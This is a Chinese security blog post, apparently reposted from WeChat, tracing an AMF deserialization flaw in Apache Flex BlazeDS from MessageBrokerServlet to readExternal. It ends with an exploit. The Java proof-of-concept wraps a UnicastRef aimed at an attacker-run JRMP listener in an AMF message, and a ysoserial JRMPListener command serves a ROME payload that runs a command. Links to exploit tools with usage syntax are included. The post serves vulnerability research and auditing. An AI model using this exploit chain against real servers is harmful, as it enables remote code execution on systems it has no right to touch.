浅说AMF反序列化及利用链构造
2023-12-21 11:19:56 Author: mp.weixin.qq.com(查看原文) 阅读量:2 收藏

点击上方·关注我们吧

首先查看常规项目中,amf的配置入口,MessageBrokerServlet类处理/messagebroker/*请求

接下来跟下去查看流程,在MessageBrokerServletservice方法中,先将HttpServletRequest等对象存到FlexContext的变量ThreadLocalObjects

随后根据endpointPath去获取对应的endpoint

web.xml已经指定过配置文件

在配置文件中可以看到是由AMFEndpoint来处理/messagebroker/amf这个请求(endpointPath),即endpointPathendpoint就是AMFEndpoint

回到MessageBrokerServlet.class

在得到处理请求的类后就使用该类的service方法处理请求

在前面的代码中可以看到endpoint的对象类型是Endpoint,而Endpoint是一个接口,所以要找到该接口的实现类

所以实际就是BaseHTTPEndpointservice方法来处理/amf请求

service方法中,会交由filterChain.invoke处理上下文内容

filterChain

createFilterChain是一个抽象方法

需要找到实现他的子类,即AMFEndpoint

跟进SerializationFilter类查看invoke方法

其会获取输入流封装到deserializer对象

具体可以看到getHttpRequest方法返回的内容就是之前存在threadLocalObject里的信息

initialize方法:

随后进入到readMessage处理上下文内容

readMessage方法中,会执行三次readUnsignedShort方法分别获取versionheadersCountbodyCount

漏洞触发主要在bodyCount

走到readBody

进入到readObject方法

因为之前初始化的时候赋值过,所以这的amfIn就是Amf0Input对象,即这里的readObject其实是Amf0InputreadObject

跟进Amf0Input查看readObject方法,该方法会先读取传入的数据字节,然后根据不同的属性进入对应的方法进行处理

查看readObjectValue

已知typeamfIn.readUnsignedShort 获取得来,type2字节,这里会首先读取1字节,当读取的值是17时(序列化时写入)就会再初始化一次avmPlusInput,并进入到readObject方法

readObject方法中,再读取1字节

跟进readObjectValue方法,当读到的值是10时(序列化时写入)就会进入到readScriptObject方法

readScriptObject方法中,会根据传入的类名返回一个对象

跟进getClassFromClassName查看具体实现

createClass方法会返回一个初始化的对象

然后会将对象传进getProxyAndRegister方法查找对应的属性代理,用于处理对象的属性读写,如果注册表中存在,则传进createDefaultInstance方法实例化对象

然而注册表里只有几个异常和Map对象

具体可以看getRegistry方法:

    private static boolean preregistered = false;
...
public static PropertyProxyRegistry getRegistry() { if (!preregistered) { preRegister(); preregistered = true; }
return registry; }
private static void preRegister() { ThrowableProxy proxy = new ThrowableProxy(); registry.register(MessageException.class, proxy); registry.register(LocalizedException.class, proxy); registry.register(Throwable.class, proxy); MapProxy mapProxy = new MapProxy(); registry.register(ASObject.class, mapProxy); registry.register(HashMap.class, mapProxy); registry.register(AbstractMap.class, mapProxy); registry.register(Map.class, mapProxy); }

所以流程会将对象传入createInstance方法进行实例化

createInstance实际还是会调用到getClassFromClassName来返回一个对象

createInstanceFromClassName方法:

在获得一个实例化对象后,会判断该对象是否实现了Externalizable接口,如果实现了则进入readExternalizable方法,在该方法里使用readExternal方法进行反序列化,漏洞在此触发

按照流程,想要利用这一步的反序列化,需要找一个实现了Externalizable接口且有公共无参构造函数的利用链,比如sun.rmi.server.UnicastRef

改一下ysoserialJRMPClient即可得到一个POC:

import flex.messaging.io.SerializationContext;import flex.messaging.io.amf.*;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.Reflections; import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;import java.math.BigInteger;import java.util.HashMap;import java.util.Map;import java.util.PriorityQueue; /** * @Author:novy * @Date:13:44 2022/5/30 * @Version 1.0 **/public class AMFEXPLoit {    public static void main(String[] args) throws Exception {        Object object = GetObject("192.168.31.169",1234);//JRMP启动地址、端口         // 序列化对象,生成AMF Message对象        byte[] amf = serialize(object);        System.out.println("序列化:" + amf);         // 反序列化对象        ActionMessage actionMessage = deserialize(amf);        System.out.println("反序列化:" + actionMessage);    }    public static Object GetObject(String host,int port) throws Exception {         ObjID id = new ObjID(new Random().nextInt()); // RMI registry        TCPEndpoint te = new TCPEndpoint(host, port);        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));        return ref;    }    public static byte[] serialize(Object data) throws IOException {        MessageBody body = new MessageBody();        body.setData(data);        ActionMessage message = new ActionMessage();        message.addBody(body);        ByteArrayOutputStream out = new ByteArrayOutputStream();        AmfMessageSerializer serializer = new AmfMessageSerializer();        serializer.initialize(SerializationContext.getSerializationContext(), out, null);        serializer.writeMessage(message);        return out.toByteArray();    }     public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException {        ByteArrayInputStream in = new ByteArrayInputStream(amf);        AmfMessageDeserializer deserializer = new AmfMessageDeserializer();        deserializer.initialize(SerializationContext.getSerializationContext(), in, null);        ActionMessage actionMessage = new ActionMessage();        deserializer.readMessage(actionMessage, new ActionContext());        return actionMessage;    }}

服务器启动JRMP,运行POC

java -cp ysoserial-1.0.jar ysoserial.exploit.JRMPListener 1234 ROME "calc"

当然这只是基于实现了Externalizable接口的反序列化利用,在判断即使没有实现Externalizable,流程依旧会往下走其他反序列化逻辑,也就是说,哪怕没有实现Externalizable接口,也可以找实现了Serializable 接口的链来进行利用,当然还是需要有公共无参构造方法

写了个利用工具
https://github.com/novysodope/AMF_JRMP

不出网参考
https://github.com/codewhitesec/ColdFusionPwn
ColdFusionPwn直接下载他的发布版本使用会提示找不到主类,建议下载源码用idea运行,参数直接[-s|-e] [payload type] '[command]' [outfile]

在往后的审计中,如果看到有引用

<dependency><groupId>org.apache.flex.blazeds</groupId><artifactId>flex-messaging-core</artifactId><version>4.7.2</version></dependency>

或者jar包中用到这种的

基本可以确定存在flex相关漏洞



文章来源: https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&mid=2247514682&idx=1&sn=633827816186c2738f67c80c5c878a3f&chksm=97634eeca014c7fabc30d52d03aca5ace08161d7404a4b182718538f44cbb91df7587edd4b18&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh